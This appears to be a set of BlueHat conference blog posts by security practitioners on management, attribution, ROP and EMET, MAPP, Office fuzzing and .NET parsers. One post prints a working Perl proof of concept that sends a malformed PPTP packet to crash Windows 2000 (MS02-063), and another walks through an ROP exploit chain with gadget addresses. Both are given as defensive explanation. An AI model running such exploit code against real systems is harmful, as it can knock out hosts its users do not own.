Jared Pfost here.  I'm fired up to present at BlueHat. I really appreciate Noelle reaching out so it was a no brainer when asked to spin up a blog post. One thing that keeps popping up is my status as a former blue badge. Actually I'm a former twice over. One tour pre bubble and one post, or I like to think of it as pre/post the TWC memo. My tenure started in 97, two years out of UW and very much a newb on how security really worked in IT and dev teams. Much of what I do today is rooted in my Microsoft experience. Of course I didn't realize it until much later. Between dogfooding and attempting to keep up with the smart folks, I didn't notice the belief structure that formed. Here are a few I hope you'll enjoy.

Belief: We weren't as bad as we thought.

I always got a kick out of the perception from folks outside Redmond who assumed we were all rock stars. This cracked me up. I remember thinking, "if you only knew how screwed up we are..." As I left and worked with startups and other enterprises, there really were some special folks back then. Sometimes it's hard to notice when you're going 100 MPH. I hope it's still that way.

Belief: Heroes don't scale.

Burning key people out has been well documented. I'm talking about ordinary folks being asked to do heroic efforts like working 20 hours before a release. In my program manager or IT roles, I learned the hard way that quality suffers. It's usually better to take it on the chin and slip than fight another regression or outage fire. The root cause and fix is the same but a lot less painful.

Belief: Money doesn't buy happiness.

I didn’t realize it at the time but we had some big budgets in IT or dev compared to other companies. The reason I didn’t notice is because resources rarely correlated to success. We were successful when we had a solid process. For folks who don’t have money to burn, this is often the first excuse. Fact is I’ll take a solid process and two people over a team of ten any day.

Belief 4: Security isn't a technical problem, it's a management one.

After Washington Mutual collapsed, I started a software company to help security leaders manage their team and processes. It took me six months to realize I founded the company out of a belief structure. When you can define what you do, measure it, improve it, and enable your leadership to decide how much they need, life is good. Morale improves, customers are happier, and incidents are reduced. I wish I could quantify those claims for you but I can’t, yet. In my experience, great managers lead to great results. I believe it and I’m passionate about proving it so you can believe it too.

Fired up for Blue Hat!

-Jared Pfost

Jared Pfost brings 16 years of information security experience to Third Defense which he co-founded on the belief that effective management is the key to manage risk. Jared's unique career combines working in IT Security teams such as Washington Mutual and Microsoft, consulting, and designing software across startups, banking, and technology. Jared is a self-proclaimed process nut and has demonstrated you don't need unlimited resources to run a measurable, accountable, and effective security shop.

Jeremiah Grossman here. BlueHat is one of my favorite conferences of the year, and it’s one of the few I’ve consistently kept coming back to. The organizers put together an amazing event with consistently top-quality content, where the attendees are not only security people, but a legion of software developers who have a genuine interest in security -- because their employer (Microsoft) does. Interacting with the BlueHat crowd provides a unique opportunity where conversations can have huge impact. These are the people that make Windows and Internet Explorer after all. They supply development tools to millions who code on those platforms. If you want a feature or something changed relating to security, or learn how something works, these are the folks to talk to.

For me, this year just got that much better. Yesterday, there was a Web Application Security Summit, where I was asked to kick things off. I used this time to impart some of my knowledge of the space gained over the last ten years about what’s really going on out there in terms of vulnerabilities -- backed by statistical data of course. I described what issues are most common across the Web, how many of them get fixed and how quickly, which tend to get exploited and how.

This was also my chance to articulate the technology and policy challenges we currently face in such a way that those in the audience, hopefully those smarter than myself, can find new ways to overcome them. Challenges like, “how do we go about dealing with the trillions of lines of vulnerable code already in circulation?” and “how do we measurably increase the security of new code going into the system?”

As our lives become increasingly dependent on the Web, the subject of “security” is something that is important to us all.

Jeremiah Grossman is the Founder and CTO of WhiteHat Security, where he is responsible for Web security R&D and industry outreach. Mr. Grossman has written dozens of articles, white papers, and is a published author. His work has been featured in the Wall Street Journal, NY Times and many other mainstream media outlets.  As a well-known security expert and industry veteran, Mr. Grossman has been a guest speaker on five continents at hundreds of events including BlackHat, RSA, ISSA, and others. He has been invited to guest lecture at  top universities such as UC Berkeley, Stanford, Harvard, UoW Madison, UCLA, and Carnegie Mellon. Mr. Grossman is also a co-founder of the Web Application Security Consortium (WASC) and previously named one of InfoWorld's Top 25 CTOs. Before founding WhiteHat, Mr. Grossman was an information security officer at Yahoo!

Ian:
Having a mild case of "professional ADHD" is probably what got me started on this whole "cyber" thing. Having done research, development, integration and consulting in the past, I was starting to get too many unanswered questions in my mind when dealing with customers and individuals who were being compromised left and right. The main driver for me has been getting to the bottom of exactly who these aggressors are that we're dealing with and really understanding their motivations.
Having a chance to share this kind of research and finding like-minded individuals who are busy working the same angles is a real treat, and one of the major quality assurance measures we should all factor into our work… scientists call it peer-review! :-).

Fyodor:
I got into this thing through a random incident. Grugq and I have been pals for a long time. At one point, one of our "friends" was curious about the availability of "certain software" on the market. Naturally, I just went around to the groups of people I am familiar with and asked for leads. We found some sources for him at that time and referred him to a few guys offering similar software. The "friend" was surprised by our findings and suggested we do some more digging. So, we started building an automated system for gathering and indexing/tagging the information so it could be easily query-able, even for English speakers. Naturally I read Russian and Chinese, which basically helps. IMHO, the language barrier is one of the reasons why the "security crowd" doesn't always get the whole picture of the global situation. We don't have this problem.

Cyber[random_buzzword_chooser()]
-------------------------------------------------
Fyodor:
Honestly, I believe a lot of talk about "cyberwarfare" is actually coming from the U.S. (i.e., this is basically the American way of looking at things). I don't think there really is a concept of cyberwarfare in Russia or in China as it is being portrayed in the media. In my opinion, the current situation is more like the Wild West, where there are service providers and service consumers... and where some of the politically affiliated parties sometimes make use of such services. The availability and accessibility of such services makes it easy even for ordinary, otherwise patriotic people to buy a DDoS against Georgia for example.
Going back to the cyber thing, what really has been researched and analyzed in Russia is information warfare. This is not new and was one of the main priorities during the Cold War. And, in my opinion, this is actually more effective than paying a gang of geeks to hack (i.e., the Latvian and Georgian incidents were, in my view, the outcome of mass-opinion manipulation through the public media, which IS a part of information warfare strategy).

Ian:
I know, I know. There is no "cyber war" (sorry Howard, I had to use that term again). But seriously now, taking a (huge) step back from the picture that we already managed to paint, of how the criminal world operates in the online market (see how I didn't say "cyber crime"? Oops! ;-)). Some patterns were starting to appear in terms of linking more politically inclined incidents, as well as full-on nation-state-related incidents, online. That's where I started my research into it. This whole thing wouldn't have come to life if it wasn't for the amazing community we all work in. I have had a chance to get to sources and raw data that have been loosely analyzed before and take a fresh look at them from another angle. Without the people of different CERTs, organizations, and commercial companies, this would not have been possible at all.
I truly believe (and have personally witnessed) that making shortcuts on a national level to gain "cyber" capabilities ALWAYS results in using tools and techniques from the criminal side of things (with some adaptations at best), much like in the "real" world.

Attack Attribution
-------------------------
Ian & Fyodor:
At conferences, people are often more interested in actual attack attribution than they are in the concept of the attack itself. There are a couple of hints we can share on this matter. First of all, look at the tools. Different social groups develop their own habits of using or building tools in particular ways. So, analyzing the binary characteristics (compiler footprint, coding habit, AV, and anti-debugging methods) can be a good pointer to the origin of the code. Additionally, the majority of crime-related activities are done using tools produced by a small number of people, which is often another hint to an activity's origin. The third but not last interesting component is motivation.

- Crime is always about money.
- Crime is also conducted very much like a business.
- Ergo, criminals will be very inclined to use tools and techniques that are purpose-built for maximizing the effectiveness of the attack (buy tools, services).
- In terms of attribution, this makes things VERY difficult. Usually, attacks will be "seen" as originating from random places, with very little means of being traced back to a true source. And, the code used is usually from a group specializing in creating such code. Linking the evidence back to the attacker is a long reach at best, and even techniques that aim to "identify" the code origin only get you to the manufacturer, not the user (think guns).
- Carrying on the traditional forensics example, if ballistics were to point to a specific weapon, on the cyber front that weapon would have little if any fingerprint evidence on it that could be attributable to the assailant.

Future plans
-----------------
Ian:
I like to play in different fields, from the technical domains to the corporate ones, on up to the political ones (at the national level, or on the international level where I have had the fortune of starting work recently). But the bottom line is that I'm focusing on several research areas: data exfiltration techniques that avoid traditional protections (and how to detect them), linking crime and terrorism groups in terms of tool and techniques (already in the works), and countermeasures at the national and international levels in terms of political power and deterrence.
As I like to say to my clients, "Everything is fair game; everything is in scope :-).

Fyodor:
Automated Intelligence analysis is a challenging area that mixes the pure technical fields with social and psychological studies. Reverse engineering, natural language processing, and distributed systems for large-scale data mining could all come in handy in building such automated frameworks. It is basically a fun area, experimenting with non-conventional technologies, and we are looking forward to exploring more of them. Generally, it is relaxing to take a break from your daily pen-test, reverse-engineering, corporate-objective-focused activities to play with something that is fun :-).
As for the future, we are planning to move on multi-lingual supporting analysis of Chinese content and most likely are going to focus more on scaling. We are also thinking of building public servers for awesome netglub (netglub.org) transforms (along w/ Maltego), so some of the data can be publicly accessible.

...---===END POST===---...

Hey there, Vincenzo and Fermin here!

Next week we will be giving two talks at BlueHat. Vincenzo will be talking with Tim Kornau, Ralf Philipp Weinmann, and Thomas Dullien, about return-oriented programming and how to automate the creation of ROP payloads. Also, Fermin and Andrew Roths will be talking about EMET and how it can prevent the successful exploitation of vulnerabilities.

Since 2004, a lot of things have changed in the exploitation playground. The cat-and-mouse game between offensive and defensive researchers has brought us two important and game-changing mitigations: ASLR and DEP.

In fact, exploits targeting modern platforms and applications that support DEP and ASLR work by either leveraging weaknesses in ASLR (e.g., non randomized DLLs) or lack of DEP enforcement (e.g., JIT spaying).

Practically speaking, this means that exploits, most of the time, work as follows:

1) Find, in the process address space, a DLL that is not randomized.

2) Chain together some ROP gadgets taken from the DLL (we can consider a gadget to be a set of assembly instructions that performs a given task).

3) Disable/bypass DEP with the ROP shellcode.

4) Execute a standard (non-ROP) payload.

During our presentation, we will show you a toolkit that allows you to write a payload in a custom language that will be translated into an ROP shellcode.

Some of you might point out that most of the time an ROP payload is very tiny and therefore there might be no need for such a tool. Unfortunately, we have learned during the past few years that the exploitation playground evolves rapidly.

For example, in some mobile platforms, such as the iPhone OS, the third step of the workflow cannot be performed. Therefore, the entire payload has to consist of ROP gadgets. Furthermore, in order to defeat ASL, it is often necessary to write ROP egg-hunters to locate payload pieces in memory.

These two are common scenarios where a tool like ours can be handy.

Some research has been done on ways to permanently stop ROP payloads and probably one day we will get there, but at the moment some of the best mitigations we have are tools like EMET (Enhanced Mitigation Experience Toolkit), which makes the above exploit workflow somewhat harder.

As you probably know, EMET 2.0 was released some weeks ago. It is a tool that enables security mitigation technologies to be deployed for arbitrary applications, helping to prevent vulnerabilities in those applications (especially line-of-business and third-party apps) from being exploited successfully. For more information, see the SRD blog.

EMET offers several mitigations, even for down-level operating systems (DEP, heap pages pre-allocations, SEHOP, mandatory ASLR, and EAT filtering).

Mandatory ASLR is one of the most interesting mitigations. Even when an application has opted in to ASLR, some of the DLLs being used could be placed on predictable mappings. This is because these DLLs were not compiled with the /DYNAMICBASE linker option. EMET, when mandatory ASLR is enabled, solves this problem by forcing the relocation of these DLLs.

Let’s take the metasploit module for the latest Adobe vulnerability as an example. This exploit relies on several gadgets located on a non-ASLR-aware module, icucnv36.dll.

The first ROP gadget used places the stack at a controlled place. This can be done because the attacker can reuse these lines of assembly from the non-ASLR module.

0:000> u 0x4a80cb38 L3

icucnv36!ucnv_toUChars_3_6+0x162:

4a80cb38 81c594070000 add ebp,794h

4a80cb3e c9 leave

4a80cb3f c3 ret

0:000>

When EMET is in place and Mandatory ASLR is enabled, this DLL will get relocated to a random place. The exploit will try to jump to 0x4a80cb38 but, since the DLL was relocated, the change of ESP to a controlled place will fail.

0:001> u 0x4a80cb38 L3

4a80cb38 ?? ???

^ Memory access error in 'u 0x4a80cb38 l3'

0:001>

Even the author of the metasploit module for this vulnerability suggests installing EMET so it will be harder to successfully exploit this vulnerability.

Clearly EMET is not the definitive answer, but what we have now is a slightly more intricate workflow for exploits development:

1) Find a memory leak or another similar weakness, as shown at Pwn2Own 2010, which allows us to find the base address of a DLL.

2) Chain together some ROP gadgets taken from the DLL (we can consider a gadget a set of assembly instructions that perform a given task).

3) Disable/bypass DEP with the ROP shellcode.

4) Execute a standard (non-ROP) payload.

This workflow clearly requires significant more work on the attacker’s side in order to write reliable exploits.

At the end of the day, EMET and our tool are yet more proof that the game is evolving fast! So stay tuned and come watch our ROP talk and Fermin and Andrew's EMET talk.

- Vincenzo Iozzo and Fermin J. Serna

Intro

Matt Watchinski here, Senior Director, Sourcefire Vulnerability Research Team (VRT). It’s that time of year again. The mercury is soaring above 100F, and I am crammed onto a “flying bus” heading out to Las Vegas to attend this year’s iteration of the Black Hat and DEF CON conferences. Something about this tradition always leads me to reflect on how the security space has evolved over the years. The fact that cyber-security is considered an industry in and of itself is a somewhat new development. And of all the signs that the industry is maturing, Microsoft’s Active Protection Program (MAPP) is probably one of the most significant.

Now I could go on to say “MAPP’s awesome, everyone loves it, it makes the world safer, and they give out free rainbows and unicorns.” However, if I did that, I’d probably get a bunch of fan boy emails and my iPhone might spontaneously combust. Instead I prefer to compare and contrast the process of creating detection content in the pre- and post-MAPP worlds. That’s how to really understand the impact of MAPP, and the value to its members.

Creating Detection Content

Every device that detects exploits, malware, and vulnerabilities, or other such security threats, is driven by three relatively simple yet complex principles:

1. Knowledge of the delivery mechanism of an attack and the ability to inspect it. This could be as simple as locating the data portion of a TCP packet, as complex as parsing DCERPC into all of its known structures and components, or deconstructing and decompressing a PDF file. Simply put, if you can't find what you are looking for you can't inspect it.

2. Knowing the preconditions for reaching the vulnerable code and the conditions necessary to trigger a given vulnerability.

3. A way to represent principles one and two in a way that can be updated in the detection system for each new threat.

Simple really -- The defenders have to develop working PoC code for a vulnerability before they can update their detection systems. No PoC, no detection.

Before MAPP

Heck, let's go back to before the invention of "Patch Tuesday" in October of 2003, or even further back, to October 30, 2002, and take a look at MS02-063, which was aptly titled "Unchecked Buffer in PPTP Implementation Could Enable Denial of Service Attacks." No exploit for this vulnerability existed in the public domain at the time of release and to the best of my knowledge no exploit for it exists today. Unless you are Microsoft, the original reporter, or someone who has been looking for lots of bugs in PPTP, you had zero information on this bug. As a research engineer at the time, it was my job to add protections for this threat to our product. The following is an abbreviated version of the steps I had to go through to do that.

The first step is to determine the structure of the PPTP packets. PPTP has a documented RFC that Microsoft has implemented for this case that makes one's job a whole lot easier. It's a completely different story for something like DCERPC, which had no public documentation when the original LSD exploit was released.

SCR PPTP Packet Structure

-Length Field – 2 bytes

-PPTP message Type – 2 bytes

-Magic Cookie – 4 Bytes

-Control Message Type – 2 bytes

-Reserved0 – 2 Bytes

-Protocol Version – 2 bytes

-Reserved1 – 2 Bytes

-Framing Capabilities – 4 Bytes

-Bearer Capabilities – 4 Bytes

-Maximum Channels – 2 Bytes

-Firmware Revision – 2 Bytes

-Hostname – 8 Bytes

-Vendor String – 8 Bytes

Next, script up a basic implementation of PPTP in something like PERL or C. It's 2002 remember; no Ruby or Python yet. Then it's time to test it with some sample traffic. This requires setting up a complete Windows 2000 system with the PPTP service running, and since this is a kernel bug modifying the boot.ini with /DEBUG, hook up WinDBG to that good old fashioned COM port and start testing. Once normal traffic is flowing, and tcpdump is showing valid responses to session setup packets, the next step is to make that basic implementation into a quick fuzzer.

Test 37 : 420 “chars” at location 14.

After 37 iterations of the fuzzer, WinDBG popped up and, after a bit of Perl, I had a working PoC.

PoC

# Description:
# Vulnerability is caused by the addition of a 417 byte payload to
# a SCR (Service Control Request) PPTP packet.
use IO::Socket;
$host = "X.Y.Z.A";
$port = "1723";
$scr  = "\x00\x9c\x00\x01\x1a\x2b\x3c\x4d\x00\x01\x00\x00\x01\x00";
$scr .= "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\x00\x01\x41\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
$scr .= "A" x 420;
$SOCK = IO::Socket::INET->new (
               Proto => "tcp",
               PeerAddr => $host,
               PeerPort => $port,
               Type => SOCK_STREAM
       );
if(! $SOCK)
{
       print "Error\n";
       exit(0);
}
print $SOCK $scr;

Now I can go about my business of adding all of this intelligence to my detection system; how PPTP as a protocol works, where the vulnerability is, and what the specific conditions of exploitation are. Job done, on to the next patch.

Before MAPP, this is how everyone on the planet added security content to their devices. Unfortunately, this had a few unique disadvantages:

1. A Race – Defenders and attackers are on the same playing field when patches are released. He/she who reverses fastest wins.

2. Code Path Ignorance – There may be more than one way to reach a vulnerable portion of code. If that code path isn't tested or identified it could lead to detection content that misses a new delivery vector.

3. Wasted Effort – If no other vulnerability is ever patched or released then all the research around the PPTP protocol is wasted.

4. Failure State – Even the smartest person sometimes fails. In this scenario it results in no detection content being provided for a specific threat.

After MAPP

The security landscape really changed after MAPP launched and began sharing high quality vulnerability data with its partners. No longer was it a race with the attackers. The defenders had a head start to build, test, and improve their detection technologies for these threats. Delivery vectors and different code paths could be investigated and covered accordingly, and the wasted effort of reverse engineering a file format or protocol could be channeled back into the development of the security solution. Finally, it changed the failure state by changing how the industry protects against attacks targeting Microsoft vulnerabilities. It is no longer about who has the smartest people to reverse engineer the patches, but about who has the most capable detection technology and the ability to represent the conditions of exploitation in their product in the most robust format.

Additionally, MAPP shows what can be done when you coordinate with an industry. Each vendor in MAPP releases timely detection content updates on Patch Tuesday to protect their customers. This allows for a much larger percentage of end users, a conglomeration of all MAPP member customers, to receive these protections. It also puts attackers in a race with deployment, as they have already lost the race of understanding the vulnerability.

Final Thoughts

Any software manufacturer that is serious about security should implement an information sharing program like MAPP and engage the security community to help protect their mutual customers. The attackers share information amongst themselves; the defenders need to share information too.

Hey there,

I'm pleased to announce that the BlueHat team has partnered with the dynamic Microsoft Security Response Center (MSRC) Engineering duo of Andrew Roths and Fermin J. Serna on a training video previewing the new release, version 2.0, of the Enhanced Mitigation Experience Toolkit (EMET). This training video is currently live on the BlueHat site and available for consumption on your own viewing timetable. 

I'm sure most of you are aware that EMET was designed as a living tool with the ability to incorporate future mitigations, protect against threats and improve security processes. Well, new mitigations are nearly here with version 2.0, which should be available in the near future from the Microsoft Download Center (keep a look out on the Security Research & Defense blog for the go-live announcement). In the meantime, the training video will offer you a sneak peak at EMET 2.0 including demos and insightful discussion into current and upcoming mitigation technologies. The video also showcases EMET's updated UI that shows running processes and whether EMET is currently active for them.

For those of you attending Black Hat who would like more information on the tool, Fermin Serna will be at the Microsoft booth and can answer your in-depth questions. Any feedback would definitely contribute to our efforts to build strong community-based defense to protect customers and partners against the online threats. Go grab a refreshment and enjoy this 20 minutes of BlueHat training magic!

See you in Vegas!

Celene

Hi, this is Tom Gallagher from the Office Trustworthy Computing team. At Blue Hat v9, David Conger and I presented some of the security engineering work that we were doing to help ensure the security of Office 2010. We don’t want a single bug in our parsing code to allow arbitrary code to harm a customer’s machine by doing things like installing a rootkit. While fuzzing remains an important piece of our security efforts, we’ve taken a layer approach to provide protection against bugs that we may have missed. Key layers of our protection include Office file validation and a sandboxed viewing mode known as Protected View for Word, PowerPoint, and Excel.

After our Blue Hat presentation, we had the privilege of attending and presenting at CanSecWest. For me one of the most interesting parts of security conferences is getting to talk with others about what they are working on. Several people working for both software vendors and security consulting companies were able to talk about our current fuzzing work and challenges over dinner. People and organizations including Microsoft continue to make large investments in finding fuzz bugs. There are a lot of creative ideas that are being explored and will likely continue to be an area of focus for the near future.

The Security Development Lifecycle (SDL) provides a great baseline to help teams ensure we ship secure products. The SDL has evolved since its inception in 2004; the tools and guidance have improved with the help of many product teams across Microsoft. Office is one the contributors of both tools and guidance for the SDL. In Office, we often create additional recommendations and requirements for our code and “dogfood” these ourselves before recommending that these guidelines become part of the official SDL. Last week, Didier from the Microsoft Security Engineering Center made a good blog post about Office’s SDL efforts which outlines many of the specifics.

While we have shipped Office 2010, we know people will continue to attack our code and our efforts to find vulnerabilities haven’t stopped either. Over the past month, we’ve continued to make additional improvements to our Distributed Fuzzing Framework and are now consistently completing over 20 million iterations each weekend. We’re also adding additional fuzzers and tweaks to our fuzzing job scheduler. I’m looking forward to talking more about our latest work at SyScan in Singapore next month and in HangZhou in early July.

Mark Curphey here. I run the Subscriptions Engineering Team in Server & Tools Online, where we build complex customer facing web sites like MSDN and TechNet, supporting millions of users. For the last 15 years, I have always held security roles, most recently heading up the Information Security Tools team here at Microsoft, where we were best known for building static code analysis tools and web protection libraries for managed code.

One of the great things about working at Microsoft is that you get a chance to find the place where you can have the biggest impact across the company. At the end of last year, I sat down with my boss (the CISO of Microsoft) and told him that I wanted to explore my passion for web engineering, UX, and development practices. He was completely supportive but told me that I had to first write down everything I had learned about security on one page. If that sounds easy I will remind you of BlaisePascal's comment (I paraphrase): "I apologize that this letter is so long - I lacked the time to make it short." After several days, several pens, and numerous whiteboard revisions, I finally got back to a simple Venn diagram that I first saw when I left college (and a set of accompanying notes).

A few weeks ago I got an opportunity to go to Argentina to speak at the inaugural BlueHat conference in South America and I decided to base my talk around the slides I had put together for my boss. I wanted to deliver the message that you have to have People && Process && Technology in order to run a sustainable and scalable software security program.

BlueHat was a great experience. As well as enjoying the country and culture (tango, anyone?) and getting to chow down on some great food, I got a chance to meet a few people that I had e-mailed with and followed for years. Much of what I spoke about circled back to the simple fact that software risk management is a combination of People, Process and Technology and that at Microsoft, we have a great scalable story around process called the Security Development Lifecycle (SDL).

I spoke about how Agile development practices are already mainstream. Despite some popular misconceptions in order to be an effective Agile team you need to be disciplined, which actually plays in well to thinking about security.

Before the presentations, two developers worked with me, exploring if it was possible to build a front end to the OSVD in a way that we could overlay interesting data points such as significant changes to development frameworks or significant hacks. Unfortunately, we discovered that the data is simply not out there on the Web (or at least not in a form that we could economically digest).

This led to a discussion at the conference about metrics and data. Just why aren’t software security people obsessed by statistics and “Freakonomics”? In order to find cause and effect, we need to get better at capturing relevant data and using it to drive informed decisions.

I also spoke about how architecture matters even though it is not always a trendy topic, and zoomed out on a high-resolution image of a sandcastle to illustrate the point that when you look at architecture at a micro level you often think things are fine but when you understand the context you may well have a different view.

The architectural patterns from Joey Yoder are always fantastic to reference and highly applicable to why architecture affects security in so many ways.

1. Big Balls of Mud - (a.k.a., Shantytown, Spaghetti Code)
2. Throwaway Code - (a.k.a., Quick Hack, Kleenex Code, Disposable Code, Scripting, Killer Demo, Permanent Prototype, Boomtown)
3. Piecemeal Growth - (a.k.a., Urban Sprawl, Iterative-Incremental Development)
4. Keep It Working - (a.k.a., Vitality, Baby Steps, Daily Build, First Do No Harm)
5. Sweep It Under the Carpet - (a.k.a., Chernobyl, Housecleaning, Pretty Face, Quarantine, Hiding it Under the Bed, Rehabilitation)
6. Reconstruction - (a.k.a., Total Rewrite, Demolition, Plan to Throw One Away, Start Over)

* Foote and Yoder - http://www.laputan.org/mud/

BlueHat is a great way for us to learn from security researchers and customers and for us to share our learning.

After 15 years in the business, my elevator pitch really is that software security is all about People, Process and Technology.

Take care!

- Mark

Blog http://www.curphey.com

Twitter http://www.twitter.com/curphey

*Postings are provided "AS IS" with no warranties, and confers no rights.*

It was pretty fun sitting in the panel that kicked-off the first BlueHat Security Forum in Latin America and we are almost half-way through our day here in Buenos Aires.  (Check out Mike Reavey’s EcoStrat Blog post for details about the panel.)

It is always great to see old friends from the ecosystem and meet some new people from all over Latin America. Everyone seems to be having a great time and enjoying the really good and diverse line-up of interesting talks.

Anchises de Paula and Kristen Dennesen from iDefense covered the international landscape vulnerability market with a focus on Latin America.  Their talk covered international laws, how the lack of some cybercrime laws impact various Latin America countries, and how the bureaucracy of the legal system gets in the way of investigations concluding in an effective timeframe.

Pedro Varangot, from Core Security Technologies, covered the new trends in attacks to and using social networks, not only from an impersonation perspective, but also the availability of tools to automate the process.

Looking forward to the afternoon talks and really hope this is the first of many BlueHat events in Latin America. 

-Luiz Eduardo

During the past decade or so, a significant portion of the computer industry has set out in a quest for secure software. That this sizable force of smart people with all their resources and market power has not yet brought us a secure and safe computing experience, should be an indication that this task is not something you can just turn around and do.

Securing the huge number of software stacks we are working with on a daily basis is a massive undertaking. It is somewhat similar to attempting to change the way we use natural resources and energy in order to prevent further global warming. Since you could be reading this in Utah, USA[1], let's assume that global warming is an actual problem and is caused by humankind burning pretty much any fossil energy source we can find in order to produce energy.

Slowing down global warming is a tall order, let alone stopping or reversing it. We would need to gradually and globally reduce energy production methods that have carbon dioxide as a byproduct. This is not something you can change overnight. Since people depend on the energy your coal-fed power plant is delivering, you cannot simply turn it off and leave them in the cold. But every time you consider building a new power plant, you should be thinking about its carbon dioxide emissions and you certainly should consider other methods of energy production. The alternative, power generation using renewable sources, will at first appear too expensive and complicated. Primarily, it will seem to provide significantly lower performance, so that you cannot really consider it as an alternative to your coal power plant.

As with the energy problem, the performance argument is constantly pulled out of the bag and waved around when one recommends .NET as the runtime environment for a new software project. Before even the first sketches of a software design and architecture are made (hoping that there actually will be some design and architecture before coding), and a long time before the first line of code is written, someone will argue that whatever it is that's to be developed must be written in C (or some other unmanaged language).

An insidious fact is that the most seasoned programmer in any team will likely be the one to present this performance argument against whoever proposed using .NET for the task at hand. This might be explained by the seasoned programmer being the one who's least likely to implement unmanaged code in a way that it can become a security vulnerability. Maybe it is just the programmer’s old belief that anything not compiled into native platform code doesn't perform well. However, the meritocracy among programmers and their managers causes the senior programmer's statements to have significant more weight that everyone else's, so everyone in the team will "learn" that, for performance reasons, they cannot use .NET.

The sad truth is that such repeated statements will cause software stacks to stay vulnerable to memory corruption and integer overflows for decades to come. Especially experienced people should know that, as Donald Knuth already stated: "premature optimization is the root of all evil." William Allan Wulf took it even further by saying: "More computing sins are committed in the name of efficiency (without necessarily achieving it) than for any other single reason - including blind stupidity." Unfortunately, this is very close to the truth.

If you are an attacker or vulnerability researcher and you are trying to identify an easy attack on a software stack, the first thing you look for is parsers. Any code that handles or interacts with externally provided data that you can influence will be your primary target of interest. If this code is written in an unmanaged language, for example, C/C++, you are very likely to find what you are looking for in the parser before anything else. This is where most software breaks, either through parsing of file formats or protocol messages. In most cases, complex parsing happens before any authentication and authorization could even be performed, so the resulting attack will not only yield arbitrary code execution, but it will also be completely anonymous.

.NET provides almost all the security you need to implement parsers that do not result in security vulnerabilities in your code. Boundary errors do not lead to memory corruptions, so the whole class of buffer overflow vulnerabilities goes away. Even better, boundary errors will throw very distinct exceptions, so your program can react to them specifically. The option to check for arithmetic overflows and underflows in your assemblies is the second mighty weapon that prevents exploitation of signedness issues and data-type conversion problems, although checking for arithmetic overflows and underflows is still not the default for new projects in Visual Studio 2010. By using safe code, written in any of the many .NET front-end languages, you can easily build very solid and robust parsers that ensure your input data is correct and that do not allow attackers to slip overly-large integers past your checks. Let the attacker fuzz your input files until kingdom come.

And what about the performance issues now?

First of all, how about writing secure code in the first place and conducting the performance measurements and optimizations afterwards? It is very likely that this one method, which iterates over your large data set in nested loops a couple of times, is eating most of the CPU time anyway, no matter what language it was written in. Algorithmic mistakes account for a much larger performance impact in almost any sufficiently large application regardless of the programming language used.

Secondly, the security critical parsers are often invoked infrequently during the operation of the application. Review carefully how often your parsers are actually invoked. When you only read files upon user request, it is very unlikely that the user will actually notice any performance difference whether your parser is written in.NET or in unmanaged code, except for the case where a corrupt file is opened, may it be intentionally corrupted or not.

In today's multi-component multi-tier application designs, it is easy to ensure a correct input data set using a strictly written .NET parser and then handing the "normalized" and verified data to other code that performs computationally-expensive processing.

Last but not least, please keep in mind that .NET code is not executed on a virtual CPU but actually compiled into platform-specific code before being executed. This Just-In-Time compilation is where the real performance is gained in any managed languages. And some seriously smart people work on the JIT. When they find an optimization and roll out an updated JIT, all code runs suddenly faster, not just yours. But more importantly, you don't have to do anything, it will happen behind the scenes.

I have made only the best of experiences using .NET code for parsers in security-critical situations. It doesn't relieve you from thinking about acceptable and non-acceptable formatting of your input data, but it massively simplifies the process of validating and checking the input data. If anything goes wrong, the exception will propagate up, and you can safely discard the input from the top-level code. In any other case, the cleaned and sanitized input data set can be used immediately, even in less fortified code.

Returning to the analogy between global warming and securing software stacks, it should be clear that we may not build things the way we did before if we care about changing anything in the future. Even if all parsers from today on will be safe and sound implementations in managed languages without any unsafe code invocations, it will take a long time before the old software is phased out. But if we continue to follow our old habits for dubious reasons, we will never actually get anywhere near our goal of secure and reliable computing.

Consider the capabilities of .NET a vital security component for future software projects.

I appreciate any feedback you may have, and if you happen to attend BlueHat Buenos Aires, I will see you there.

-FX

[1] "Climate Change Joint Resolution", 2010 General Session, State Of Utah, http://le.utah.gov/~2010/bills/hbillamd/hjr012.htm